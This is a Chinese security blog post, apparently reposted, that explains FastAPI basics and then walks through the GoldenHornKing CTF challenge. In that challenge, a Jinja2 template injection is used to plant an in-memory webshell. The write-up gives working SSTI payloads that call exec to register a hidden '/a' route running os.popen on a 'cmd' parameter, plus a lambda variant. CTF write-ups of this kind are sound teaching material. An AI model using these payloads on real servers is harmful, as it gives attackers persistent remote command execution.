浅谈FastAPI框架下的内存马

admin 2024年9月21日22:41:49评论42 views字数 4677阅读15分35秒阅读模式

什么是 FastAPI ?

fastapi文档 FastAPI - FastAPI (tiangolo.com)

FastAPI 是一个现代的、快速(高性能)的 Web 框架,用于构建 API。它基于 Python 3.6+ 的类型提示,使用 Starlette 作为其底层 ASGI 框架,并使用 Pydantic 进行数据验证。以下是一个简单的 FastAPI 示例

示例代码

from fastapi import FastAPI

app = FastAPI()

@app.get("/")
def read_root():
return {"Hello": "World"}

@app.get("/items/{item_id}")
def read_item(item_id: int, q: str = None):
return {"item_id": item_id, "q": q}

if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8000)

解释

  1. 导入 FastAPI:

    from fastapi import FastAPI
    导入 FastAPI 框架。

  2. 创建 FastAPI 实例:

    app = FastAPI()
    创建一个 FastAPI 应用实例。

  3. 定义路由:

    • @app.get("/"): 定义根路由的处理函数,响应 HTTP GET 请求。

    • read_root(): 根路由处理函数,返回一个 JSON 响应 {"Hello": "World"}

    • @app.get("/items/{item_id}"): 定义带路径参数的路由。

    • read_item(item_id: int, q: str = None): 处理路径参数 item_id 和可选的查询参数 q,返回 JSON 响应。

  4. 运行应用:

    if __name__ == "__main__": import uvicorn uvicorn.run(app, host="0.0.0.0", port=8000)
    使用 Uvicorn 运行应用,监听 8000 端口。

运行应用

保存代码为 main.py,然后运行以下命令启动 FastAPI 应用:

uvicorn main:app --reload

访问 API

  • 根路由: http://localhost:8000/

  • 带路径参数的路由: http://localhost:8000/items/42?q=search

文档

FastAPI 会自动生成 API 文档,你可以通过以下 URL 访问:

  • 自动生成的文档http://localhost:8000/docs

  • 原始文档http://localhost:8000/redoc

这就是 FastAPI 的基本用法!

巅峰极客2024 GoldenHornKing

源码如下

import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after


# Decorator to add a timeout to async functions
def timeout_after(timeout: int = 1):
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
with fail_after(timeout):
return await func(*args, **kwargs)
return wrapper
return decorator

# Initialize FastAPI app
app = FastAPI()
access = False

# Set up Jinja2 template directory
_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)

@app.get("/")
@timeout_after(1)
async def index():
# Read and return the content of the current file
return open(__file__, 'r').read()

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
print(calc_req)
template = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}")
rendered_template = template.render({"app": app})
return rendered_template
return "fight"
# Run the application with Uvicorn server
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8080)

分析

if的条件判断access这个变量是否为true,如果为true就不渲染了,所以只能渲染一次,并且渲染是不能有数字的

这里为了本地方便测试,修改渲染一次的限制

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
print(calc_req)
template = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}")
rendered_template = template.render({"app": app})
return rendered_template

由于不能有数字,我们直接从lipsum出发得到__builtins__
payload:

/calc?calc_req=lipsum.__globals__.__builtins__

浅谈FastAPI框架下的内存马

但是目标不出网且无回显,所以我们需要写内存马

寻找Fastapi框架的添加路由函数

本题用的是fastapi的web框架而不是flask,需要自己寻找可用方法

通过寻找我们发现添加路由方法add_route,add_middleware,add_route ,add_api_route

浅谈FastAPI框架下的内存马

通过搜索发现add_api_route可以用来自定义创建路由

浅谈FastAPI框架下的内存马

示例如下:

from fastapi import FastAPI, APIRouter

class Hello:

def __init__(self, name: str):
self.name = name
self.router = APIRouter()
self.router.add_api_route("/hello", self.hello, methods=["GET"])

def hello(self):
return {"Hello": self.name}

app = FastAPI()
hello = Hello("World")
app.include_router(hello.router)
$ curl 127.0.0.1:5000/hello
{"Hello":"World"}

add_api_route 的第二个参数( endpoint )的类型为 Callable[..., Any] ,因此任何可调用对象都应该工作(只要 HTTP 请求 FastAPI 可以找出其参数的解析方式)数据)。此可调用函数在 FastAPI 文档中也称为 路径操作函数

然后接下来就是要写fastapi框架的内存马,我们需要获取到当前目标环境下运行的app实例对象

获取fastapi的app实例对象

sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每当程序员导入新的模块,sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典sys.modules将自动记录该模块。当第二次再导入该模块时,python会直接到字典中查找,从而加快了程序运行的速度。

所以我们可以通过sys.modules拿到当前已经导入的模块,并且获取模块中的属性,由于我们最终的eval是在app.py中执行的,所以我们可以通过sys.modules['__main__']来获取当前的模块

sys.modules['__main__'].__dict__['app']

执行这段写入内存马

import sys

app = sys.modules['__main__'].__dict__['app']
from fastapi import Request;
def a(request: Request):
import os
cmd = request.query_params.get('cmd')
if cmd is not None:
app.add_api_route('/a',a, methods=['GET'])

传参注意换行和空格

/calc?calc_req=lipsum.__globals__.__builtins__['exec']("import+sysnapp+%3d+sys.modules['__main__'].__dict__['app']nfrom+fastapi+import+Requestnndef+a(request%3a+Request)%3an++++import+osn++++cmd+%3d+request.query_params.get('cmd')n++++if+cmd+is+not+None%3an++++++++print(f'Command+received%3a+{cmd}')n++++++++return+os.popen(cmd).read()n++++n++++return+'shell'nnapp.add_api_route('/a',+a,+methods%3d['GET'])")

执行命令

/a?cmd=whoami

浅谈FastAPI框架下的内存马

或者lambda表达式

浅谈FastAPI框架下的内存马

/calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/a",lambda:__import__("os").popen("whoami").read());',{"app":app})

链接:https://xz.aliyun.com/t/15501?time__1311=Gqjxn7qCwxgDlxGgx%2BrxmhAYW1eWq0Qsa4D

原文始发于微信公众号(船山信安):浅谈FastAPI框架下的内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月21日22:41:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈FastAPI框架下的内存马https://cn-sec.com/archives/3186317.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息